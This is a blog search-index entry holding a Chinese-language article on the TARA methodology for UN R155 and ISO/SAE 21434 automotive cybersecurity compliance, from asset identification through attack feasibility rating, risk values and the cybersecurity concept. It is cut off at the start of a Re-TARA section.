<?xml version="1.0" encoding="utf-8"?>
<search>
  
  
  
  <entry>
    <title>UN R155认证视角下的TARA实施：方法论、概念与残余风险闭环</title>
    <link href="/2025/12/29/118/"/>
    <url>/2025/12/29/118/</url>
    
    <content type="html"><![CDATA[<p>在正文开始之前，请先允许我介绍一下TARA和TARA的作用</p><h1 id="TARA是什么"><a href="#TARA是什么" class="headerlink" title="TARA是什么"></a>TARA是什么</h1><p>目前（截至编写文章时间-2025年底）R155法规已被包括欧盟所有成员国、日本、韩国、英国、澳大利亚、南非等在内等超过60多个国家采纳，对OEM而言，自2022年7月起，欧盟成员国内对所有现有架构新车型进行强制实施R155，所有适用的新车型出口欧洲均需通过Vehicle Type Approval（车辆型式认证，简称VTA），自2024年7月开始所有架构所有车型都需通过认证</p><p>OEM要有效执行UN R155的合规要求，首先需要建立全面的网络安全管理体系，即Cybersecurity Management System (CSMS)，以确保汽车全生命周期中都有对应的流程措施用以控制相关风险，在这诸多要求中，威胁分析与风险评估（Threat Analysis and Risk Assessment，简称TARA）是贯穿始终的核心方法，要求从攻击者视角系统识别威胁场景、评估风险水平，并制定针对性的缓解措施，基于多年参与VTA认证项目的实践经验，在本文中我将重点探讨TARA的方法论与实施思路，以期为相关团队提供参考</p><h1 id="TARA在UN-R155中的定位和要求"><a href="#TARA在UN-R155中的定位和要求" class="headerlink" title="TARA在UN R155中的定位和要求"></a><strong>TARA在UN R155中的定位和要求</strong></h1><p>UN R155法规的核心目标是要求OEM建立并运行有效的网络安全管理体系（CSMS），以确保车辆在全生命周期内抵御网络攻击风险，作为CSMS的关键组成部分，威胁分析与风险评估（TARA） 被视为实现这一目标的最基础工具，虽然法规正文未直接使用“TARA”这个术语，但其对风险识别、评估和管理的要求（第7条及Annex 5）本质上指向了TARA方法，TARA在UN R155中的定位和要求主要体现在以下几个方面：</p><ul><li>风险识别和评估的核心手段</li></ul><p>法规7.3.3至7.3.6要求OEM系统识别车辆网络安全风险、评估风险水平并确定、验证缓解措施，TARA正是满足这些要求的具体方法，它要求OEM从攻击者视角分析潜在威胁，并覆盖车辆所有相关组件（包括供应链零部件），Annex 5提供的67典型威胁场景作为参考基准，OEM需要证明已评估这些场景（如果不适用，说明不适用理由）</p><ul><li>贯穿车辆全生命周期</li></ul><p>TARA并非一次性活动，而是贯穿CSMS全过程的要求：在概念阶段进行初步风险评估、在开发阶段细化并迭代、在生产和运营阶段持续监控新出现的威胁并复审、在车辆退役阶段评估残余风险，法规明确要求OEM在CSMS中建立持续监控和残余风险管理过程（详见GRVA的解释文档7.2.2.2 (f)(g)，这个文档对UN R155 CSMS审核的目的、依据和细节做了很详细的说明），确保风险评估结果保持最新，当出现新漏洞、新攻击技术或车辆配置变更等情况时，需重新评估残余风险的可接受性，并采取必要措施</p><ul><li>VTA的关键证据</li></ul><p>在车辆型式认证阶段，认证机构会重点审查OEM提交的风险评估结果及其衍生材料（包括威胁列表、风险值、安全目标等等），TARA报告是CSMS审计和VTA的核心证据之一，如果风险评估不完整或缺乏可追溯性，将直接导致认证失败</p><ul><li>与UN R156的关联</li></ul><p>软件更新过程是高风险攻击面（Annex 5中有多条相关威胁场景），TARA需特别评估OTA更新风险（如更新包篡改、伪造服务器、传输劫持），其结果直接输入SUMS设计，确保更新过程的安全性和可追溯性</p><ul><li>供应链延伸要求</li></ul><p>UN R155明确规定车辆网络安全的最终责任由OEM承担，即使风险来源于供应商提供的零部件，认证机构追究责任的时候也是首先找的OEM，也就是说OEM在进行整车级TARA的时候必须要将供应商零部件的风险评估结果纳入其中，确保整车风险分析的完整性，为了实现这一要求，在进行整车TARA分析前期阶段，供应商要向OEM提供必要的TARA相关工作输入</p><p><img src="/images/118/Bvhe9PIS8ynoqC_OQVMTiF5IOksikgRwKrP883WxR14.png" alt="image"></p><p>总的来说，TARA在UN R155中不仅是技术方法，更是合规证据链的核心环节，其输出直接决定后续网络安全需求的完整性和有效性，实践经验表明，认证审核中最常见的驳回原因往往源于TARA的深度不足（比如损害场景没有跟功能安全关联、威胁场景覆盖不全、攻击可行性评估过于乐观、风险处理决策缺乏依据等等）</p><h1 id="TARA方法论"><a href="#TARA方法论" class="headerlink" title="TARA方法论"></a><strong>TARA方法论</strong></h1><p>在开展工作前，OEM必须准备好以下材料：</p><ul><li>EE架构图，需体现ECU之间的通信链路设计方案（通信方式、通信协议、外部接口），架构图需要通过网络安全评审</li><li>整车功能清单，内容包括：功能定义、功能详细描述、每一个功能关联到的ECU 、功能的数据流</li><li>零部件清单及详细信息，包括简称和全称，零部件的配置详情（外部接口、是否包含诊断、诊断服务信息、是否包含刷写、刷写方式信息、PCB主板正反面图等）、零部件供应商名称、负责人及联系方式、功能简述、详述、架构等等</li><li>…</li></ul><h3 id="相关性判定"><a href="#相关性判定" class="headerlink" title="相关性判定"></a><strong>相关性判定</strong></h3><p>在开始TARA之前，必须先进行网络安全相关性判定，结果用来确定哪些Item（要进行TARA的目标对象）需要纳入网络安全过程，该步骤的核心输出是相关性定义识别表，通常以表格或专用报告形式呈现</p><p><img src="/images/118/relvan.png" alt="image"></p><p>在本文中，我也主要以21434中的方法介绍</p><ul><li><strong>相关性判定结果及理由</strong>：明确“是/否”相关，例如：</li></ul><p>o 相关：存在外部无线接口、处理敏感数据、接入整车CAN网络</p><p>o 不相关：纯机械组件、无任何外部接口、不处理任何数据、不在CAN架构上</p><p>只有判定为网络安全相关的Item才进入后续资产识别和TARA过程，不相关的Item只需记录判定理由，避免对无网络攻击面的Item（比如纯机械部件）进行不必要的分析，同时也能作为CSMS证据保存，关于判定步骤可以参考ISO/SAE 21434里的附录D Cybersecurity relevance–example methods and criteria:</p><p><img src="/images/118/0pn4fxH7SLIo4mdQJfto-eHCdacGex82hSFNzBgDhmc.png" alt="image"></p><h3 id="相关项判定"><a href="#相关项判定" class="headerlink" title="相关项判定"></a><strong>相关项判定</strong></h3><p><img src="/images/118/2e500c56a4cf444587b65bf24cada306.png" alt="边界图"></p><p>相关Item定义包含以下关键要素：</p><ul><li><strong>Item ID</strong>：唯一标识符，用于在后续TARA报告、安全需求、验证测试中关联</li><li><strong>功能描述</strong>：Item在车辆中实现的主要功能</li><li><strong>边界</strong>：明确Item包含哪些部分、排除哪些部分，以及内部/外部接口定义，这是防止范围歧义的关键，通常通过画图的方式画出Item负责的部分即可</li><li><strong>初步架构</strong>：高层次E/E架构描述，包括主要组件、通信路径和依赖关系，通常引用架构图或简要文字说明，例如“T-Box通过蜂窝网络与后端服务器通信，内部通过Ethernet连接中央网关，网关再经CAN总线分发至各域ECU”</li><li><strong>假设</strong>：对Item外部环境的合理假设，基于实际情况和合理预期来假设“在这些条件下，Item的风险是可控的”，例如：</li></ul><p>o 物理访问车辆受控，仅授权人员可接触OBD端口</p><p>o 后端OTA服务器的安全性由供应商保证</p><p>o 假设中央网关已实现防火墙过滤，阻止非法域之间的消息</p><p><strong>零部件级如何应用</strong></p><p>与整车级类似，零部件级TARA也可以以网络安全相关性判定为前提，比如判定模块或功能、数据流、数据等，只有判定为相关的Item才需执行完整的TARA</p><h3 id="TARA开展"><a href="#TARA开展" class="headerlink" title="TARA开展"></a><strong>TARA开展</strong></h3><p>法规未强制指定风险评估的具体方法，但要求过程必须系统、可追溯，并覆盖所有潜在威胁，在认证实践中，ISO/SAE 21434标准定义的TARA方法已成为行业事实标准，该标准将TARA分解为资产识别、威胁场景识别、影响评级、攻击路径分析、攻击可行性评级、风险确定、风险处理决策七个步骤，形成一个闭环、可迭代的风险管理流程</p><p><img src="/images/118/aVcuxlnWK1Ys8Ko204YNpvojfMgA0lFRXJQa10EX51w.png" alt="image"></p><h4 id="一、资产识别（Asset-identification）"><a href="#一、资产识别（Asset-identification）" class="headerlink" title="一、资产识别（Asset identification）"></a><strong>一、资产识别（Asset identification）</strong></h4><p>根据判定结果，明确Item中可能被利用造成网络安全风险、需要保护的资产，包括物理组件、数据、功能等，并标注其安全属性（保密性、完整性、可用性、授权、不可抵赖性、真实性 - 21434里的3.1.20，除了有必不可少的属性，同时还对应后面说到的STRIDE模型）</p><p><img src="/images/118/OxWZpaz7wfYlHew36043nAXPgprUGl0Y9mDGdRiB6DQ.png" alt="image"></p><p>为了完整识别资产，避免遗漏，我们可采用以下单一方法或结合使用（RQ-15-02 NOTE 2）：</p><ul><li><strong>分析Item定义</strong>：从已确定的Item边界、功能描述、初步架构和假设出发，直接提取资产</li><li><strong>进行影响评级</strong>：通过损害场景反向推导需要保护的资产</li><li><strong>从威胁场景中提取资产</strong>：基于已识别的威胁场景，追溯涉及的关键资产</li><li><strong>使用预定义目录</strong>：使用预设资产分类模板（比如外部实体/硬件、功能单元、数据流、数据存储），按类别逐一列出</li></ul><p>整车级TARA需识别整车层面资产（包括集成交互），零部件级TARA只关注组件内部及暴露接口资产</p><p><strong>示例</strong>：</p><p>推荐预定义资产类型的方式，更快更方便，识别更完整：</p><ul><li>整车TARA：除了架构图上的网络安全相关组件外，还有车辆对外暴露的USB接口（外部接口）、WIFI（功能单元）、无线射频（功能单元）、OTA（功能单元）等，还有在OTA更新功能中，资产可能包括：固件镜像文件（数据存储）、车机日志（数据存储）、OTA通道（数据流）、零部件间的通信（数据流）、IVI里的系统（功能单元）等</li><li>零部件TARA：调试接口（外部实体）、芯片（外部实体）、芯片间的通信（数据流）、芯片里的数据（数据存储）、芯片里的功能模组（功能单元）等</li></ul><p>识别后的资产清单输出物示例：</p><p><img src="/images/118/YEt1oRLiduGsDM6c4pAuszwhM7E1vW-yrY2T3196GeY.png" alt="image"></p><p>TARA输出示例：</p><p><img src="/images/118/Qt-AD76qjZSu7_mUgfOzDAEa65RChm1Jiy96cCAhfsA.png" alt="image"></p><h4 id="二、威胁场景识别（Threat-scenario-identification）"><a href="#二、威胁场景识别（Threat-scenario-identification）" class="headerlink" title="二、威胁场景识别（Threat scenario identification）"></a><strong>二、威胁场景识别（Threat scenario identification）</strong></h4><p>威胁场景识别是TARA的核心步骤之一，在实践中，一般使用STRIDE模型辅助分类（Spoofing欺骗、Tampering篡改、Repudiation不可否认、Information Disclosure信息泄露、Denial of Service拒绝服务、Elevation of Privilege权限提升），从分类中分析威胁场景</p><p><img src="/images/118/iF5ZGtBP9T1fRWBzUmNCZO31cNd1BRZiARXDjkJoFBo.png" alt="image"></p><p>分析威胁场景目的是识别可能导致资产网络安全属性被违反（受到损害）的具体攻击方式，每个威胁场景必须包括以下核心要素（RQ-15-03）：</p><ul><li><strong>目标资产：</strong>被攻击的资产</li><li><strong>资产的网络安全属性受损：</strong>哪个属性（保密性、完整性、可用性）被破坏</li><li><strong>网络安全属性受损的原因：</strong>攻击者是怎么做到的</li></ul><p><strong>示例</strong>：</p><p>针对特定资产，使用STRIDE模型识别，注意要包含上面提到的核心要素：</p><ul><li><strong>Tampering</strong>：攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏</li><li><strong>Spoofing</strong>：攻击者伪造【ECU1】与服务器的身份验证，导致【ECU1】通信身份验证机制的真实性遭到破坏</li><li><strong>Denial of Service</strong>：攻击者干扰【ECU1】的CAN通信，导致【ECU1】通信通道的可用性被破坏</li></ul><p><strong>注意</strong>：UN R155 附录5列出了67个参考威胁场景作为法规基准，OEM必须逐一评估这些场景的适用性（适用就分析，不适用需要提供技术理由）</p><p>零部件级TARA主要识别组件内部威胁场景（包括内部数据流、存储、功能及暴露接口的威胁），可以考虑外部接口（如CAN、Ethernet等）被直接攻击的风险，但不需要负责这些接口在整车集成后与其他组件交互产生的新威胁（这些属于整车级责任）</p><p>整车级TARA需额外考虑集成引入的新场景，例如：</p><ul><li>从娱乐域（IVI）穿越到动力域的攻击</li><li>网关路由规则漏洞导致的域隔离失效</li><li>多个ECU协同形成的攻击链（单个ECU看来正常，组合后产生高风险）</li></ul><p>这样能确保风险覆盖完整，而且还符合OEM对整车网络安全的最终责任要求，TARA输出示例：</p><p><img src="/images/118/3kX2mHAC6ZI5hvxVx1mUdGlKTV5sXYhkCpVvr_MZSk0.png" alt="image"></p><h4 id="三、影响评级（Impact-rating）"><a href="#三、影响评级（Impact-rating）" class="headerlink" title="三、影响评级（Impact rating）"></a><strong>三、影响评级（Impact rating）</strong></h4><p>影响评级用于评估威胁场景实现后可能造成的潜在损害，即通过损害场景分析量化后果严重程度，该步骤的核心输出是每个威胁场景在Safety（安全）、Financial（财务）、Operational（操作）、Privacy（隐私）四个维度上的独立评级（RQ-15-04 SFOP框架，SFOP是对同一损害场景从不同视角进行的严重度评估，而非产生多个独立损害场景），评级等级通常为Negligible（可忽略不计）、Moderate（中等）、Major（主要）、Severe（严重）</p><p><img src="/images/118/Nb7D0SWfYHUKYe2kIbWYi3MN8XnJjlkgEphoGNA6sgI.png" alt="image"></p><p>损害场景是指威胁场景成功后，对车辆、用户或相关方造成的技术层面直接不良后果（例如“刹车系统失效”“车辆关键功能瘫痪”），21434建议损害场景包含以下要素（RQ-15-01 NOTE 1）：</p><ul><li>Item功能与不良后果之间的关系</li><li>对道路使用者的伤害描述</li><li>相关资产</li></ul><p><strong>示例</strong>：威胁场景“攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏”，该威胁场景的损害场景是：“篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险”，对应的SFOP评级（对该损害场景的多维度评估）：</p><ul><li><strong>Safety = Severe</strong>（可能造成人员重伤或死亡）</li><li><strong>Financial = Major</strong>（医疗费用、维修或替代交通成本显著增加）</li><li><strong>Operational = Major</strong>（车辆关键功能瘫痪）</li><li><strong>Privacy = Negligible</strong>（无直接隐私数据泄露）</li></ul><p>如果损害场景对某个维度的影响足够严重，则可优先聚焦该维度，其他维度作为辅助参考，比如上面的例子，综合影响评级为“Severe”，也就是取最高值（PM-15-07）</p><p><strong>注意：</strong>整车级影响往往高于零部件级：同一威胁在零部件级可能仅影响局部功能（Operational=Moderate），但在整车集成后可能放大为安全风险（Safety=Severe），所以评级时需要有依据需提供评级准则（CFG，参考21434附录F）和会议纪要（功能安全评估，功能或零部件受到损害时，会不会影响车辆行驶）作为证据</p><p>通过详细的损害场景分析和多维度评级，能为后续风险确定提供客观基础，确保高严重度风险得到优先缓解，而且在实践中，可以采用两种分析方向（从损害场景倒推威胁场景、从威胁场景正向扩展损害场景）结合的迭代方式，既能快速聚焦高风险，又能确保覆盖全面，避免单纯依赖经验导致遗漏其他场景</p><p><img src="/images/118/-fnM0rly_ZIVh3AplLTnqH7f2YVPkMfQ-9SmzuaT7ew.png" alt="image"></p><p><strong>示例：</strong></p><p><strong>正向分析（从威胁场景扩展损害场景）</strong></p><p>从已知的威胁场景出发，正向推导其成功后可能造成的损害后果：</p><ul><li><strong>威胁场景</strong>：攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏。</li><li><strong>扩展损害场景</strong>：篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险</li></ul><p><strong>倒推分析（从损害场景倒推威胁场景）</strong></p><p>从损害场景出发，倒推可能导致该损害的威胁场景：</p><ul><li><strong>损害场景</strong>：篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险<br>o <strong>威胁场景1</strong>：攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性被破坏<br>o <strong>威胁场景2</strong>：攻击者伪造合法更新服务器身份，使【ECU1】接受来源不可信的更新包，导致【ECU1】的真实性被破坏<br>o …</li></ul><p>需要说明的是，每项资产可能有多个网络安全属性，每个属性可能对应一个或多个损害场景，每个损害场景可能对应多个威胁场景，每个威胁场景也可能导致多个损害场景（RQ-15-03 NOTE 3）</p><p><img src="/images/118/FXpdf8yqoGO1jpPMy9gRhYxNKyUUg4j6qMhx-cnQ8T8.png" alt="image"></p><p>TARA输出示例：</p><p><img src="/images/118/m_ZlJwaoRcoCiY_QxgcMLKcUx5-wrtxRMbidkwiToiA.png" alt="image"></p><h4 id="四、攻击路径分析（Attack-path-analysis）"><a href="#四、攻击路径分析（Attack-path-analysis）" class="headerlink" title="四、攻击路径分析（Attack path analysis）"></a><strong>四、攻击路径分析（Attack path analysis）</strong></h4><p>攻击路径分析的目的是详细描述威胁场景如何被实现，包括攻击入口、具体步骤、所需条件以及现有缓解措施，该步骤帮助评估攻击的可行性，并为后续风险确定和安全需求制定提供依据，在实践中，该步骤在21434中给出了2个建议（RQ-15-08 NOTE 1），可根据产品阶段进行单独或结合使用（RQ-15-09 NOTE 3）：</p><p><strong>自顶向下方法（top-down）</strong>，从威胁场景作为起点“顶”，层层分解可能的攻击路径，直到基本攻击步骤，比如，对于威胁场景“篡改OTA更新包”，我们可以从这个顶点出发分解：</p><ul><li>要实现这个威胁，攻击者必须做到拦截通信（MITM）或者供应链注入</li><li>拦截通信时可能需要伪造证书或劫持DNS</li><li>每一步再继续向下，直到不可再分的叶节点， 这种方式常用攻击树来表达：根节点是威胁场景，子节点是子目标，使用AND/OR逻辑连接（AND表示所有子路径必须成功，OR表示任一即可）</li></ul><p><img src="/images/118/kwAfkw9fJA2YsqK0vGfk8bMEy7rSdC4iGcJzt_wMcc8.png" alt="image"></p><p>由此得知当前树中有1条完整攻击路径（为方便解释，在不考虑continue的情况下）：</p><ul><li><strong>路径01</strong>：MITM拦截并替换包 + 绕过签名验证（利用签名算法漏洞）</li></ul><p>o 下载篡改包方式：MITM（连接车辆网络 → 执行流量劫持 → 替换下载包内容）</p><p>o 接受刷写方式：利用签名算法漏洞（已到叶节点）</p><p>最终攻击路径描述：攻击者通过连接车辆网络、执行流量劫持并替换下载包内容，让车辆下载篡改后的更新包，同时利用签名算法漏洞绕过验证，使车辆接受并刷写篡改固件</p><p>在分析过程中，如果某个路径中的关键环节无法实现（比如需要物理访问但车辆环境受控），或者该环节对整体威胁场景没有实质影响，就可以终止对这一分支的后续分析（RQ-15-08 NOTE 2），避免没必要的深度分析，这种剪枝（pruning）是各类基于树模型分析的常见优化技巧</p><p>另外，一个威胁场景通常对应多个攻击路径，比如“篡改OTA更新包”可能有：</p><ul><li>路径1：远程MITM拦截通信</li><li>路径2：供应链攻击预装恶意固件</li><li>路径3：物理访问刷写</li></ul><p><strong>自底向上方法（bottom-up）</strong>，从已知漏洞、弱点或基本攻击步骤出发，向上追溯它可能导致哪些威胁场景，最终评估潜在损害和风险，这种方法特别适合团队已通过渗透测试、代码审计或漏洞扫描获得具体弱点时，这里的“底”是已知的具体漏洞或弱点（而不是抽象的威胁场景），例如：</p><ul><li>ECU固件存在缓冲区溢出漏洞</li><li>诊断服务未实现安全访问机制</li><li>OTA通信未启用TLS加密</li><li>网关规则配置错误</li></ul><p><strong>例如</strong>：假设通过代码审计发现“某个ECU的诊断服务存在缓冲区溢出漏洞”自底向上拆解：</p><ul><li>这个漏洞能被利用来做什么？ → 注入任意代码或消息（基本攻击步骤）</li><li>注入任意代码能导致什么威胁场景？ → 伪造诊断消息刷写固件（Spoofing + Tampering）</li><li>这些威胁场景成功后造成什么损害？ → 刹车系统失效（Safety = Severe）</li></ul><p>攻击树表现形式：树是倒着长的，叶节点在底（已知漏洞），向上汇聚到根节点（损害场景）</p><p><img src="/images/118/p90Im41mlnWnzpnylPxiC8p-E0lmthDsT_iF1KjWmKo.png" alt="image"></p><p>此处示例图特意采用纯线性描述（不用AND/OR逻辑），以更直观展示其局限性，也就是虽然简单直接，但少了很多可能性（无法表达必须同时满足的条件），可能会导致分析深度不足、覆盖不全</p><h4 id="五、攻击可行性评级（Attack-feasibility-rating）"><a href="#五、攻击可行性评级（Attack-feasibility-rating）" class="headerlink" title="五、攻击可行性评级（Attack feasibility rating）"></a><strong>五、攻击可行性评级（Attack feasibility rating）</strong></h4><p>攻击可行性评级用于量化威胁场景实现的难度，为后续风险值的确定提供客观输入，在21434里定义了四个可行性等级（RQ-15-10，直译，可另行解读）：</p><ul><li><strong>High</strong>：攻击路径可以通过低努力来实现</li><li><strong>Medium</strong>：攻击路径可通过中等努力实现</li><li><strong>Low</strong>：攻击路径可通过高努力实现</li><li><strong>Very Low</strong>：攻击路径可通过很高努力实现</li></ul><p>另外还推荐了三种方法确定可行性评级（RC-15-11），可以根据生命周期阶段和可用信息选择（RC-15-11 NOTE 1）：</p><ol><li><strong>基于攻击潜力方法</strong> 通过核心因素打分计算潜力值，再映射到可行性等级（RC-15-12、Annex G），核心因素包括：</li></ol><ul><li><p>经过的时间（攻击需要多长时间）：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">≤1 day<br>≤1 week<br>≤1 month<br>≤6 months<br></code></pre></div></td></tr></table></figure></li><li><p>专业知识（执行这个攻击需要什么样的熟练度）</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">业余：与专家或熟练人员相比无知识，没有特定专长<br>熟练：熟悉产品或系统类型的安全行为<br>专家：熟悉底层算法、协议、硬件、结构、安全行为、安全运用原理和概念、新攻击定义技术及工具、密码学、产品类型的经典攻击、攻击方法等<br>多领域多位专家：攻击的不同步骤需要不同领域的专家级专长<br></code></pre></div></td></tr></table></figure></li><li><p>信息公开性（原文说的是“对物品或组件的了解”，我觉得这里可以理解为“物品或组件的公开度”）</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">公开：关于物品或组件的信息能从互联网得到<br>受限：在开发者组织内部控制并在非披露协议下与其他组织共享的知识<br>机密：在开发者组织内不同团队之间共享，访问仅限于指定团队成员<br>严格机密：仅少数人知道，访问受到严格“需知原则”和个人承诺的严格控制<br></code></pre></div></td></tr></table></figure></li><li><p>机会窗口（执行这个攻击困不困难）</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">无限制：通过公共/不受信任的网络实现高可用性，没有任何时间限制（即资产始终可访问），无物理存在或时间限制的远程访问，以及对物品或组件的无限制物理访问<br>简单：高可用性和有限的访问时间，无需物理存在即可远程访问物品或组件<br>中等：低可用性，有限的物理或逻辑访问，在不使用特殊工具下对车辆内外部进行物理访问<br>困难：非常低的可用性，访问程度不实际，无法实施攻击<br></code></pre></div></td></tr></table></figure></li><li><p>所需设备（执行这个攻击需要特定设备吗）</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">普通：攻击者可以随时获得利用所需的设备，该设备可以是产品本身的一部分（例如操作系统中的调试器），也可以是一些开源工具<br>专业：攻击者不容易获得设备，但可以通过购买或花费时间去开发获得<br>定制：设备是专门生产的（例如非常复杂的软件），公众不容易获得（例如黑市），或者设备非常专业，以至于其分销受到控制，甚至可能受到限制，或者设备非常昂贵<br>多种定制：不同步骤需要不同类型的定制设备<br></code></pre></div></td></tr></table></figure><p>评估攻击潜力后，Annex G还提供了Table G.6 — Example aggregation of attack potential作为示例聚合表，用于将五个核心因素的打分汇总成总攻击潜力值</p></li></ul><p><img src="/images/118/ZycL4vhnjjYpbZhQ1yv7D-UqqTD-g7Vq4wOEh_xyQAs.png" alt="image"></p><p>然后将得到的总分映射到可行性等级：</p><p><img src="/images/118/q_MGtjtRBSFfUKH6DEB6o4QfUYX6wBPIB58mvzIhMrc.png" alt="image"></p><p><strong>示例</strong>：</p><p>假设威胁场景“OTA包被篡改”，对其中一条攻击路径（通过车辆WiFi热点执行中间人攻击）使用攻击潜力方法打分：</p><ul><li>经过的时间：≤1 day，对应分值0</li><li>专业知识：专家，对应分值6</li><li>信息公开性：受限，对应分值3</li><li>机会窗口：中等，对应分值4</li><li>所需设备：普通，对应分值0</li></ul><p>总分加起来是13分，属于10-13的范围，所以攻击可行性等级为High</p><p>攻击可行性评级结果将与影响评级结合，计算最终风险值，风险值是风险处理决策的重要依据</p><ol start="2"><li><strong>基于CVSS方法</strong> 基于CVSS基础指标组的可利用性指标分数计算，包括攻击向量、攻击复杂度、所需权限、用户交互（详见G.3 Guidelines for the CVSS-based approach）</li><li><strong>基于攻击向量方法</strong> 基于攻击向量方法仅基于路径的主要攻击向量评估可行性，其核心思路是攻击者路径越远（逻辑和物理上）可行性评级越高，因为使用互联网的潜在攻击者数量远大于需要物理访问车辆或零部件的攻击者（详见G.4 Guidelines for the attack vector-based approach）</li></ol><p>在实际项目中，我主要用的是基于攻击向量方法，所以本文主要介绍基于攻击向量的方法，如果读者希望了解基于攻击潜力或基于CVSS的详细计算方式，可参考G.3 Guidelines for the CVSS-based approach和G.4 Guidelines for the attack vector-based approach</p><p>TARA输出示例：</p><p><img src="/images/118/nxyNHxARNUEGZ8rRBO_bhDRjp1e4BQD_NBP_OZXl75Y.png" alt="image"></p><h4 id="六、风险值确定（Risk-value-determination）"><a href="#六、风险值确定（Risk-value-determination）" class="headerlink" title="六、风险值确定（Risk value determination）"></a><strong>六、风险值确定（Risk value determination）</strong></h4><p>对于每个威胁场景，必须根据其关联的损害场景的影响等级和关联攻击路径的攻击可行性等级来计算最终的风险值，也就是说，要将影响评级和攻击可行性评级结合来计算威胁场景最终风险值的步骤（RQ-15-15），这一步的核心是使用风险矩阵将两个维度映射到风险等级（根据表8示例，等级从1到5，1表示风险最小），帮助优先排序高风险威胁并决定缓解策略</p><p><img src="/images/118/5gNWFJu_fUZu5oL6x7qzFWw2NOK8TpW-O4-kNxGIdiQ.png" alt="image"></p><p><strong>示例</strong>（威胁场景“篡改OTA更新包”）：</p><ul><li>影响评级：Severe</li><li>可行性评级：High</li><li>风险值：按照矩阵，当影响等级是Severe且可行性是High时，风险值为5</li></ul><p>风险值的计算并不强制要求用表8矩阵，但方法要一致（必须根据其关联的损害场景的影响等级和关联攻击路径的攻击可行性等级来计算最终的风险值）且要有依据</p><h4 id="七、风险处理决策（Risk-treatment-decision）"><a href="#七、风险处理决策（Risk-treatment-decision）" class="headerlink" title="七、风险处理决策（Risk treatment decision）"></a><strong>七、风险处理决策（Risk treatment decision）</strong></h4><p>风险处理决策是TARA的最后一步，根据威胁场景的风险值，选择合适的处理方式（RQ-15-17），并输出相应的网络安全目标或声明，该步骤的选项包括：</p><ul><li><strong>消除风险</strong>：移除风险源或放弃引发风险的功能/活动（比如取消或者移除某个引发高风险的功能）</li><li><strong>降低风险</strong>：通过技术或组织措施降低风险至可接受水平</li><li><strong>转移风险</strong>：通过合同或保险将风险转移给第三方</li><li><strong>保留风险</strong>：在风险可接受范围内保留残余风险，但需记录理由作为网络安全声明，并纳入持续监控和漏洞管理</li></ul><p><strong>注意：</strong>通常风险值为3/4/5的场景不可以选择接受残余风险，必须选择“消除”或“降低”</p><p>通过风险处理决策，能将TARA分析结果转化为可执行的安全目标或声明，确保高风险威胁得到有效处置</p><p>TARA输出示例：</p><p><img src="/images/118/JpwAe6qwMamxAJVHbxrDebkECQIlogtB7njLUDdroOE.png" alt="image"></p><h1 id="网络安全概念"><a href="#网络安全概念" class="headerlink" title="网络安全概念"></a>网络安全概念</h1><p>网络安全概念阶段（9 Concept）是车辆网络安全工程中的关键环节，其核心任务是将TARA输出的网络安全目标和声明转化为一个针对Item的、整体的、抽象级别的安全设计方案，为后续需求细化、系统实现和验证测试提供指导框架，TARA通过风险处理决策直接输出：</p><ul><li><strong>网络安全目标</strong>：用于降低不可接受风险的高层要求，是网络安全需求的最高层来源</li><li><strong>网络安全声明</strong>：对接受或转移风险的理由说明</li></ul><p>网络安全概念以此为基础，完成以下工作：</p><ul><li><strong>描述安全控制措施</strong>（RQ-09-08）：描述用什么技术或运营手段实现目标</li><li><strong>定义网络安全需求</strong>（RQ-09-09）：从安全目标派生安全需求</li><li><strong>需求分配</strong>（RQ-09-10）：将需求分配到Item</li></ul><p>总的来说，网络安全概念将TARA的“风险是什么、怎么处理”转化为“怎么在架构中防”，确保所有TARA识别的风险得到覆盖，并将分析结果落地到设计中</p><p>为了使网络安全活动全链条逻辑清晰、可追溯性强，我非常建议在TARA的风险处理决策后直接衔接网络安全概念部分，通过这种结构，整个风险链条（威胁场景 -&gt;风险值 -&gt; 处理决策 -&gt; 网络安全目标 -&gt; 安全控制措施 -&gt; 网络安全需求）一目了然，这种一体化呈现方式能很大程度上减少文档分散带来的查找成本，提高工作效率，输出示例：</p><p><img src="/images/118/cTn2ogtPvmPraQzB8nMKIUoauyW5ZbSE_FejZYcdcAI.png" alt="image"></p><h1 id="Re-TARA"><a href="#Re-TARA" class="headerlink" 